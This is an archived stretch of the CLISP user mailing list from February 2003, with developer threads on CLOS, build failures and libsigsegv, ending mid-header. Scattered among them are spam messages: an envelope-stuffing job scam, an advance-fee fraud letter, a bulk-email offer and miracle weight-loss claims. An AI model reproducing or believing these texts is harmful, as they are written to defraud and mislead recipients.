Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Feb 20 15:04:12 2003 X-Original-Date: Thu, 20 Feb 2003 18:03:31 -0500 hmmm this is weird: when I type in a floating point constant greater than or equal to 2 at the toplevel it does not eval correctly. I am using a freshly checked out CVS head. % clisp -q STACK depth: 16363 [1]> 1.99 1.99 [2]> 2.0 4.0E-7 [3]> --- John Hinsdale, Alma Mater Software, Inc., Tarrytown, NY 10591-3710 USA hin@alma.com | http://www.alma.com/staff/hin | +1 914 631 4690 From fr4eew@getresponse.com Fri Feb 21 00:40:53 2003 Received: from fe6.rdc-kc.rr.com ([24.94.163.53] helo=mail6.wi.rr.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18m8jl-0005vU-00 for ; Fri, 21 Feb 2003 00:40:53 -0800 Received: from smtp0532.mail.yahoo.com ([80.177.54.242]) by mail6.wi.rr.com with Microsoft SMTPSVC(5.5.1877.757.75); Fri, 21 Feb 2003 02:39:46 -0600 From: "misheila " X-Priority: 3 To: dnm@printf.net CC: amy@wordkitty.com,kevin@rosenberg.net,menu3@milonic.com,clisp-list@lists.sourceforge.net,wen@cats.ucsc.edu,ian.penman@dla.com,info@idea-a-day.com Mime-Version: 1.0 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <0e9474639081523FE6@mail6.wi.rr.com> Subject: [clisp-list] dnm,We Need Some Home Workers ! Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Feb 21 00:41:12 2003 X-Original-Date: Fri, 21 Feb 2003 08:40:03 GMT

GET PAID STUFFING ENVELOPES FROM HOME

Right now our mail order company is hiring homeworker like yourself, to help us stuff our sales circulars into envelopes, helping us get ready for upcoming busy season. We need your services to save time and money
We will pay you $2.50 for every envelope you stuff plus an optional 20% commission.
LOOK HOW
MUCH YOU
WILL GET PAID
STUFFING
ENVELOPES
100
envelopes
= $250.00
200
envelopes
= $500.00
400
envelopes
= $1000.00
600
envelopes
= $1500.00
800
envelopes
= $2000.00
1000
envelopes
= $2500.00

Let me assure you that you are dealing with an honest company. We know that our homeworkers are happy and making an excellent income just from reading their testimonials. This makes us happy and enables us to succeed and continue our success together. So, if you are looking for an extra income to relieve your financial pressures, you owe it to yourself.

- Experience.
- Special skills.
- Credit or background check.
- Money investment.
- Reporting to supervisors.

- Get paid weekly.
- Flexible schedule.
- Be your own boss.
- Family members can help you.
- Money back guaranteed.

CLICK HERE FOR MORE INFORMATION

 

 

You received this email because you agreed to receive information about products and Services like this or you subscribed to similar mailing list.. If you have received this message in error, we apologize for any inconvenience.  E-Mail to removefromlist@x263.net with the subject "REMOVE FROM LIST"

From Joerg-Cyril.Hoehle@t-systems.com Fri Feb 21 01:29:29 2003 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18m9Ul-0001G4-00 for ; Fri, 21 Feb 2003 01:29:28 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Fri, 21 Feb 2003 10:27:48 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Fri, 21 Feb 2003 10:27:44 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE0234E643@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] CLOS: class-wide slots defined at compile-time? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Feb 21 01:30:04 2003 X-Original-Date: Fri, 21 Feb 2003 10:27:34 +0100 Hi, >> The class-prototype hack(?) may be something >> 2) which seems to be somewhat standard in CLOS (I guess from your >> wording), >it's in MOP. I found http://www.elwoodcorp.com/alu/mop/dictionary.html http://www.franz.com/support/documentation/6.2/doc/mop/dictionary.html "Generic Function class-prototype class Returns a prototype instance of class. Whether the instance is initialized is not specified. The results are undefined if a portable program modifies the binding of any slot of prototype instance." It says "any slot", not "any local slot". Therefore, modifying shared slots like I'd wish to do seems unportable as well. [English: probably needs to say "slot of *a/the/this* prototype instance". >it's better to keep the prototype inside the CLASS struct. >class may be redefined &c. >we may create the prototype on demand. considering class redefinition: forget the hash-table I suggested. Just create a new object for each invocation of class-prototype. W.r.t. redefinitions, with or without a table, the class-prototype instance may be subject to update-instance-for-redefined-class, like all other instances. So I still don't see the necessity to spend a slot for this (supposedly) seldomly used thing. The MOP does not specify that there's a unique class-prototype instance for each class. Maybe they said "consequences unspecified" because they wanted to leave it open whether this prototype would actually be considered by update-instance-for-redefined-class. Consider how user code (custom defmethod update-instance ...) may fail when encountering an instance with no initialized (bound) local slot. That might not meet the programmer's expectations. Conversely, I can't imagine how the local slots could possibly be initialized, since there's no way to obtain possibly required initargs. All in all, this same problem w.r.t. redefinitions also applies to reading slots. What about: (defun class-prototype (class) (allocate-instance class)) ;TODO class-prototype as a GF However, this is not compliant, since "This generic function signals an error if class has not been finalized" whereas allocate-instance would finalize when needed. However, allocate-instance may be all I need. Are there compiler restrictions on using defclass and make/allocate-instance in the same file? http://www.lispworks.com/reference/HyperSpec/Body/03_bbc.htm does not indicate something like this. I may need eval-when around my defclass forms. Regards, Jorg Hohle. From amoroso@mclink.it Fri Feb 21 05:30:29 2003 Received: from mail4.mclink.it ([195.110.128.78] helo=mail.mclink.it) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18mDFu-0004v0-00 for ; Fri, 21 Feb 2003 05:30:22 -0800 Received: from net203-173-107.mclink.it (net203-173-107.mclink.it [213.203.173.107]) by mail.mclink.it (8.11.0/8.11.0) with SMTP id h1LDUD224347 for ; Fri, 21 Feb 2003 14:30:13 +0100 (CET) From: Paolo Amoroso To: Organization: Paolo Amoroso - Milan, ITALY Message-ID: References: In-Reply-To: X-Mailer: Forte Agent 1.6/32.525 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [clisp-list] Re: [clisp-announce] Congratulations to Bruno Haible! Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Feb 21 05:31:10 2003 X-Original-Date: Fri, 21 Feb 2003 14:30:38 +0100 On 20 Feb 2003 15:35:22 -0500, you wrote: > I could not find the article your mentioned. Well, it's more a blurb than an article. > do you have a link? Here is it (see the first item in "Non-Commercial announcements"): http://lwn.net/Articles/22703/ This issue is currently available only to LWN subscribers. It will become accessible to anybody else next Thursday. Paolo -- Paolo Amoroso From sds@gnu.org Fri Feb 21 08:47:22 2003 Received: from pop017pub.verizon.net ([206.46.170.210] helo=pop017.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18mGKX-0005C9-00 for ; Fri, 21 Feb 2003 08:47:21 -0800 Received: from loiso.podval.org ([151.203.48.207]) by pop017.verizon.net (InterMail vM.5.01.05.09 201-253-122-126-109-20020611) with ESMTP id <20030221164714.HNDC10203.pop017.verizon.net@loiso.podval.org>; Fri, 21 Feb 2003 10:47:14 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h1LGlkcO028036; Fri, 21 Feb 2003 11:47:46 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h1LGlVpx028032; Fri, 21 Feb 2003 11:47:31 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] CLOS: class-wide slots defined at compile-time? References: <9F8582E37B2EE5498E76392AEDDCD3FE0234E643@G8PQD.blf01.telekom.de> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE0234E643@G8PQD.blf01.telekom.de> Message-ID: Lines: 17 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at pop017.verizon.net from [151.203.48.207] at Fri, 21 Feb 2003 10:47:14 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Feb 21 08:48:15 2003 X-Original-Date: 21 Feb 2003 11:47:29 -0500 > * In message <9F8582E37B2EE5498E76392AEDDCD3FE0234E643@G8PQD.blf01.telekom.de> > * On the subject of "[clisp-list] CLOS: class-wide slots defined at compile-time?" > * Sent on Fri, 21 Feb 2003 10:27:34 +0100 > * Honorable "Hoehle, Joerg-Cyril" writes: > > Are there compiler restrictions on using defclass and > make/allocate-instance in the same file? not in CLISP. you may need to tweak pcl::*defclass-times*, pcl::*defgeneric-times* and pcl::*defmethod-times* for CMUCL and SBCL. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Single tasking: Just Say No. From csr21@cam.ac.uk Fri Feb 21 11:50:07 2003 Received: from gold.csi.cam.ac.uk ([131.111.8.12]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18mJAt-0004rA-00 for ; Fri, 21 Feb 2003 11:49:36 -0800 Received: from zone-7.jesus.cam.ac.uk ([131.111.243.37] helo=lambda.jcn.srcf.net) by gold.csi.cam.ac.uk with esmtp (Exim 4.10) id 18mJAN-00059q-00; Fri, 21 Feb 2003 19:49:03 +0000 Received: from csr21 by lambda.jcn.srcf.net with local (Exim 3.36 #1 (Debian)) id 18mJA3-0007ve-00; Fri, 21 Feb 2003 19:48:43 +0000 To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] CLOS: class-wide slots defined at compile-time? References: <9F8582E37B2EE5498E76392AEDDCD3FE0234E643@G8PQD.blf01.telekom.de> From: Christophe Rhodes In-Reply-To: Message-ID: Lines: 25 User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Feb 21 11:51:05 2003 X-Original-Date: 21 Feb 2003 19:48:43 +0000 Sam Steingold writes: > > * In message <9F8582E37B2EE5498E76392AEDDCD3FE0234E643@G8PQD.blf01.telekom.de> > > * On the subject of "[clisp-list] CLOS: class-wide slots defined at compile-time?" > > * Sent on Fri, 21 Feb 2003 10:27:34 +0100 > > * Honorable "Hoehle, Joerg-Cyril" writes: > > > > Are there compiler restrictions on using defclass and > > make/allocate-instance in the same file? > > not in CLISP. > you may need to tweak pcl::*defclass-times*, pcl::*defgeneric-times* > and pcl::*defmethod-times* for CMUCL and SBCL. For what it's worth, those variables do not exist in SBCL, and as long as the class is defined before it is used there is no problem with making an instance of a class in the same file. Cheers, Christophe -- http://www-jcsu.jesus.cam.ac.uk/~csr21/ +44 1223 510 299/+44 7729 383 757 (set-pprint-dispatch 'number (lambda (s o) (declare (special b)) (format s b))) (defvar b "~&Just another Lisp hacker~%") (pprint #36rJesusCollegeCambridge) From mumarjomomm@netscape.net Sat Feb 22 14:57:58 2003 Received: from f194194.upc-f.chello.nl ([80.56.194.194] helo=murphy) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18miaj-000470-00 for ; Sat, 22 Feb 2003 14:57:57 -0800 From: "ZIMBABWE" To: Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Message-Id: Subject: [clisp-list] A LETTER TO YOU Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Feb 22 14:58:12 2003 X-Original-Date: Sat, 22 Feb 2003 23:57:35 YOU MAY BE SURPRISE TO RECEIVE THIS LETTER FROM ME SINCE YOU DO NOT KNOW ME PERSONALLY.MY PURPOSE OF WRITEING YOU IS FOR YOU TO COME TO AND ASSIST ME MAKE CLAIM OF MY FAMILY FUND IN HE GOVERNMENT BONDED WARE HOUSE IN THE NETHERLAND.I WAS FUNISHED WITH VIABLE INFORMATION FROM THE WORLD TRADE CENTRE HERE IN AMSTERDAM- HOLLAND AND I DECIDED TO WRITE YOU. BEFORE THE DEATH OF MY FATHER,HE HAS DEPOSITED THE SUM OF($15 MILLION US DOLLARS)IN A SECURITY COMPANY, AS IF HE FORSAW THE LOOMING DANGER IN ZIMBABWE.THIS AMOUNT WAS MEANT FOR THE PURCHASE OF NEW MACHINES AND CHEMICALS FOR THE FARMS AND ESTABLISHMENT OF A NEW FARM IN SWAZILAND. THIS LAND PROBLEM CAME WHEN ZIMBABWE PRESIDENT ROBERT MUGABE, INTRODUCED A NEW LAND-ACT THAT WHOLLY AFFECTED RICH FARMERS AND SOME FEW BLACK FARMERS. THIS RESULTED TO THE KILLING AND MOB ACTION BY ZIMBABWE WAR-VETERANS AND SOME LUNATICS IN THE SOCIETY.INFACT,A LOT OF PEOPLE WERE KILLED BECAUSE OF THIS LAND-REFORMED ACT OF WHICH MY FATHER WAS ONE OF THE VICTIMS.IT IS AGAINST THIS BACKGROUND THAT I,WHO IS CURRENTLY STAYING IN AMSTERDAM-HOLLAND, DECIDE TO TRANSFER MY LATE FATHER MONEY TO A FORIEGN ACCOUNT SINCE THE LAW OF THE NETHERLAND PROHIBIT A REFUGEE ( ASYLUM SEEKER ),TO OPEN ANY ACCOUNT OR TO BE INVOLVED IN ANY FINANCIAL TRANSACTION. AS THE ELDEST SON OF MY FATHER, I AM SADDLED WITH THE RESPONSIBILITY OF SEEKING A GENUINE FOREIGN ACCOUNT WHERE THIS MONEY COULD BE TRANSFERRED WITHOUT THE KNOWLEDGE OF MY GOVERNMENT WHO ARE BENT ON TAKINGEVERYTHING WE HAVE GOT I AM FACED WITH THE DELIMMA OF INVESTING THIS AMOUNT OF MONEY IN NETHERLANDS FOR THE FEAR OF GOING THROUGH THE SAME EXPERIENCE IN FUTURE.MOREOVER,THE NETHERLANDS FOREIGN EXCHANGE POLICY DOES NOT ALLOW SUCH INVESTMENT FOR ASYLUM SEEKERS. AS A BUSINESS MAN,WHO I HAVE ENTRUSTED MY FUTURE AND MY FAMILY IN HIS HAND,I MUST LET YOU KNOW THAT THIS TRANSACTION IS RISK FREE. IF YOU ACCEPT TO ASSIST ME AND MY FAMILY, ALL YOU NEED TO DO,IS TO MAKE AN ARRANGEMENT AND COME TO AMSTERDAM-HOLLAND SO THAT YOU CAN OPEN THE NON-RESIDENT-ACCOUNT WHICH WILL AID US IN TRANSFERING THE MONEY INTO ANY ACCOUNT YOU NOMINATE OVERSEAS. THIS MONEY,I INTEND TO USE FOR INVESTMENT.I HAVE OPTIONS TO OFFER YOU, FIRST YOU CAN CHOOSE TO HAVE CERTAIN PERCENTAGE OF THE MONEY FOR NOMINATING YOUR ACCOUNT FOR THE TRANSACTION,OR YOU CAN GO INTO PARTNERSHIP WITH ME FOR A PROPER INVESTMENT OF THE MONEY IN YOUR COUNTRY. WHICH OPTION YOU CHOOSE,FEEL FREE TO NOTIFY ME.I HAVE MAPPED OUT 2% OF THIS MONEY FOR ALL EXPENSES INCURRED IN PROCESSING OF THIS TRANSACTION.IF YOU DO NOT PREFER A PARTNERSHIP,I AM WILLING TO GIVE YOU 10% OF THE MONEY.WHILE THE REMAINING 88% WILL BE FOR ME AND MY FAMILY AND WE INTEND TO INVERST PART OF IT IN YOUR COUNTRY. PLEASE,CONTACT ME AS SOON AS POSSIBLE,WITH MY EMAIL ADDRESS BELOW WHILE I IMPLORE YOU TO MAINTAIN ABSOLUTE SECRECY REQUIRED IN THE TRANSACTION. NOTE.KINDLY REPLY IF YOU ARE INTRESTED OR NOT SO THAT I CAN LOOK FOR SOMEONE ELSE. BEST REGARDS From hggeed554e@yahoo.com Mon Feb 24 14:21:24 2003 Received: from [211.52.69.2] (helo=KING) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18nQyR-0000UL-00 for ; Mon, 24 Feb 2003 14:21:24 -0800 Received: from smtp0532.mail.yahoo.com ([217.126.204.170]) by KING with Microsoft SMTPSVC(5.0.2195.2966); Tue, 25 Feb 2003 07:19:08 +0900 From: "rakibe " X-Priority: 3 To: clisp-list@lists.sourceforge.net CC: copyright@doctorwarp.com,webmaster@doctorwarp.com,webmaster@cs.uni-magdeburg.de,adam@smoovenet.com,paypal@smoovenet.com,richie@smoovenet.com,duffzone@hotmail.com Mime-Version: 1.0 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: X-OriginalArrivalTime: 24 Feb 2003 22:19:10.0000 (UTC) FILETIME=[C0CEC300:01C2DC52] Subject: [clisp-list] # # Increase your sales over 10 folds with just little money # # Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Feb 24 14:22:08 2003 X-Original-Date: Mon, 24 Feb 2003 22:19:32 GMT

Do you want to increase your sales or Expand your business ?
The Best Way Reach the Masses Today

Tested to Be The best method for marketing your Online Business

Click here to receive information today on  low fee website marketing
email will be sent to you only once
 

Direct E-Mail Advertising

The E-vertising Experts

600,000 mailings of email        With 500,000 email ads and the tested return of 1.5% from customer you get over 9,000 customers visiting your website soon after we send your email adds -now that's a lot !!
.
  $179.99
For  1,200,000 mailings of email          With 1,000,000 email ads and the tested return of 3.5% from customer you get up to 18,000 customers visiting your website soon after we send your email adds even better !!
.
  $349.99
For up to 2,000,000 mailings            With 2,000,000 email ads and the tested return of 3.5% from customer you get up to 70,00 customers If each time you pay us $749 you get 30,000 customers to your site We think you will be in heaven with your sales and profit boost so pay us now to get started --big growth ahead !!
.
  $649.99

volume discounts available over 2 million

targeted lists available

If need to Market your Website or Online Business for traffic
Click here to  receive information today on  low fee website marketing

email will be sent to you only once
 

 

 

 

To Opt-out from our in-house list, enter your email address please Click Here to send email with the subject remove
All removal requests are handled as soon as possible 

 

From Joerg-Cyril.Hoehle@t-systems.com Tue Feb 25 01:01:37 2003 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18naxz-0001ru-00 for ; Tue, 25 Feb 2003 01:01:36 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Tue, 25 Feb 2003 09:55:00 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Tue, 25 Feb 2003 09:54:57 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE0234ED7B@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Subject: [clisp-list] Suse Linux 8.2 compilation issues: libtermcap and cp1255/cp1258 m issing Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Feb 25 01:02:05 2003 X-Original-Date: Tue, 25 Feb 2003 09:54:54 +0100 Hi, I encountered 2 problem areas trying to get CLISP 2.30 to compile: 1. location of termcap lib 2. unknown CHARSET:WINDOWS-CP1255 and -1258 Ad 1. -- termcap Configuration and compilation went fine. It's not until link time that = the linker complained about tgoto, tgetstr, tgetent etc. a relevant message from configure was: checking for library containing tgetent... no Maybe termcap is on a strange location on this Suse Linux 8.2? Could a = Linux person comment on this? The Suse Linux 8.2 machine which I had acccess to had a strictly = minimal server configuration: nothing but mysql, perl, gzip, gcc and = ssh. I added a few packages since then. uname -a: Linux 2.4.19-xGB #1 Fri Sep 13 13:14:56 UTC 2002 i686 unknown ls -al /usr/lib/*term* lrwxrwxrwx 1 root root 19 Dec 3 13:27 = /usr/lib/libtermcap.so.2 -> libtermcap.so.2.0.8 -rwxr-xr-x 1 root root 14411 Sep 9 21:13 = /usr/lib/libtermcap.so.2.0.8 /usr/lib/termcap: total 19 drwxr-xr-x 2 root root 112 Dec 3 13:27 . drwxr-xr-x 22 root root 7248 Feb 6 17:25 .. -rw-r--r-- 1 root root 11072 Sep 9 21:13 libtermcap.a lrwxrwxrwx 1 root root 22 Dec 3 13:27 libtermcap.so = -> ../libtermcap.so.2.0.8 The linker was invoked as gcc -I/home/hoehle/include -W -Wswitch -Wcomment -Wpointer-arith = -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -DDYNAMIC_MODULES -x none -Wl,-export-dynamic spvw.o ... modules.o libcharset.a libavcall.a libcallback.a -ldl = /home/hoehle/lib/libsigsegv.a -o lisp.run =20 I worked around this by adding both -L/usr/lib/termcap -ltermcap to the LIBS variable in the Makefile. Ad 2. -- CHARSET:WINDOWS-1255 and -1258 ;; Loading file type.lisp ... *** - SYMBOL-VALUE: CHARSET:WINDOWS-1258 has no dynamic value *** - EVAL: the function %SAVEINITMEM is undefined It appears that CHARSET:WINDOWS-1258 is among the exported symbols of = package CHARSET, yet it has no value (an encoding). Therefore type.lisp = errors out. 3. Break> (find-symbol "CP1258" "CHARSET") NIL ; NIL There was a change in CVS between 2.28 and 2.30 relevant to this, back = in May 2002, saying "removed nls_cp1255 and nls_cp1258". To me, it appears as if this = change was incomplete. As of today, encoding.d still has lines saying: > # Now some aliases. > define_constant(S(windows_1255),Symbol_value(S(cp1255))); > define_constant(S(windows_1258),Symbol_value(S(cp1258))); If nls_cp1255 and nls_cp1258 are gone, what shall these lines do? Trying to remove these lines did not work, nor copying the nls_.c files = back from 2.28. I hacked around this by adding an UNEXPORT to type.lisp Somes line from configure maybe relevant to this: checking whether NLS is requested... yes checking for GNU gettext in libc... yes Regards, J=F6rg H=F6hle. From webmaster@mail.tutch.nl Tue Feb 25 01:31:36 2003 Received: from [212.72.62.172] (helo=mail.tutch.nl) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18nbR1-0000RB-00 for ; Tue, 25 Feb 2003 01:31:36 -0800 Received: from [67.64.194.92] (webmaster@mail.tutch.nl) by mail.tutch.nl; Fri, 21 Feb 2003 22:18:08 +0100 X-WM-Posted-At: mail.tutch.nl; Fri, 21 Feb 03 22:18:08 +0100 From: "Larelissi" X-Priority: 3 To: amy@wordkitty.com CC: kevin@rosenberg.net,menu3@milonic.com,clisp-list@lists.sourceforge.net,wen@cats.ucsc.edu,ian.penman@dla.com,info@idea-a-day.com,jjones@digitool.com Mime-Version: 1.0 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit Message-Id: Subject: [clisp-list] amy,Hey, Check this new breakthrough in technology Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Feb 25 01:32:08 2003 X-Original-Date: Fri, 21 Feb 2003 21:17:14 GMT If you have received this email in error or would like to be removed

If you have received this email in error or would like to be removed, please follow the instructions at the end of the message.

 

Formeta-Plusâ„¢ Weight-Loss
& quot;Prescription Strength - No Prescription Needed"
Science Makes Quantum Leap in Weight-Loss Technology< /b> ...


 < /font>

 IMAGINE:
With a new breakthrough in weight-loss:

No Dieting
No Exercise
Increased Energy
Trim Inches
Increase Energy
Look Great for Summer

No Failure - GUARANTEED

Now you can put an end to your weight-loss struggle, regardless of how much weight you need to lose. Formeta-Plus is an all natural, heat formula, that forces the body to shed up to 5-10 pounds of fat per week and up to 40 pounds a month... guaranteed!

Increased heat induction is a relatively new science which deals with the manner in which the body uses dietary calories to produce heat for energy instead of being stored as fat. Research has shown that stimulation of this process makes a significant impact on body fat. There are only two ways the body can dispose of excess consumed calories - store them as fat or burn them as heat.< /font>

Regular use of Formeta-Plus can:< /a>

Reduce Cholesterol
Improve metabolism
Increase energy levels

COUPON < /font> (Click ORDER NOW  to go to checkout)

RECEIVE FREE Energy Pills
(with orders of 60-Day or more)
Expires 3/25/03


100% Safe, Natural, & Effective!< br> ORDER TODAY & SAVE< /span>
This time Weight-Loss is FINAL!

We are strongly against sending unsolicited emails to those who do not wish to receive our special mailings. You have opted in to one or more of our affiliate sites requesting to be notified of any special offers we may run from time to time. We also have attained the services of an independent 3rd party to overlook list management and removal services. This is NOT unsolicited email.

If you do not wish to receive further mailings, please click   REMOVE NAME  one time and enter your e-mail address. Please accept our apologies if you have been sent this email in error.
We honor all removal requests

From Joerg-Cyril.Hoehle@t-systems.com Tue Feb 25 01:46:19 2003 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18nbfF-0003Gj-00 for ; Tue, 25 Feb 2003 01:46:18 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Tue, 25 Feb 2003 10:46:10 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Tue, 25 Feb 2003 10:46:07 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE0234EDED@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Subject: [clisp-list] about libsigsegv Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Feb 25 01:47:06 2003 X-Original-Date: Tue, 25 Feb 2003 10:46:06 +0100 Hi, what is the use of libsigsegv? My naive understanding is that being = able to catch and react on SIGSEGV etc. is an essential part of a = generational garbage collection. However, the sigsegv library was removed from the CLISP sources between = 2.28 and 2.30. I nevertheless built CLISP-2.30 using the 2.28 = libsigsegv. What is sigsegv used for? What happens when it's not there? Thanks for shedding any light on this issue. unix/INSTALL says - GNU libsigsegv (highly recommended for C stack overflow detection), I'm not in favour of removing a "highly recommended" library from the = source tree, especially considering its small size. BTW, here's a tiny copy&paste error within configure checking for libsigsegv... yes =20 checking how to link with libiconv... /home/hoehle/lib/libsigsegv.a ^^^^^ sigsegv Regards, J=F6rg H=F6hle. FWIW, sigsegv/README says: This is a library for handling page faults in user mode. A page fault =20 occurs when a program tries to access to a region of memory that is =20 currently not available. Catching and handling a page fault is a useful technique for implementing: =20 =20 - pageable virtual memory, =20 - memory-mapped access to persistent databases, =20 - generational garbage collectors, =20 - stack overflow handlers, =20 - distributed shared memory, =20 From sds@gnu.org Tue Feb 25 07:27:05 2003 Received: from pop017pub.verizon.net ([206.46.170.210] helo=pop017.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18ngz3-0002kO-00 for ; Tue, 25 Feb 2003 07:27:05 -0800 Received: from loiso.podval.org ([151.203.48.207]) by pop017.verizon.net (InterMail vM.5.01.05.27 201-253-122-126-127-20021220) with ESMTP id <20030225152658.JXVR29823.pop017.verizon.net@loiso.podval.org>; Tue, 25 Feb 2003 09:26:58 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h1PFRqcO011478; Tue, 25 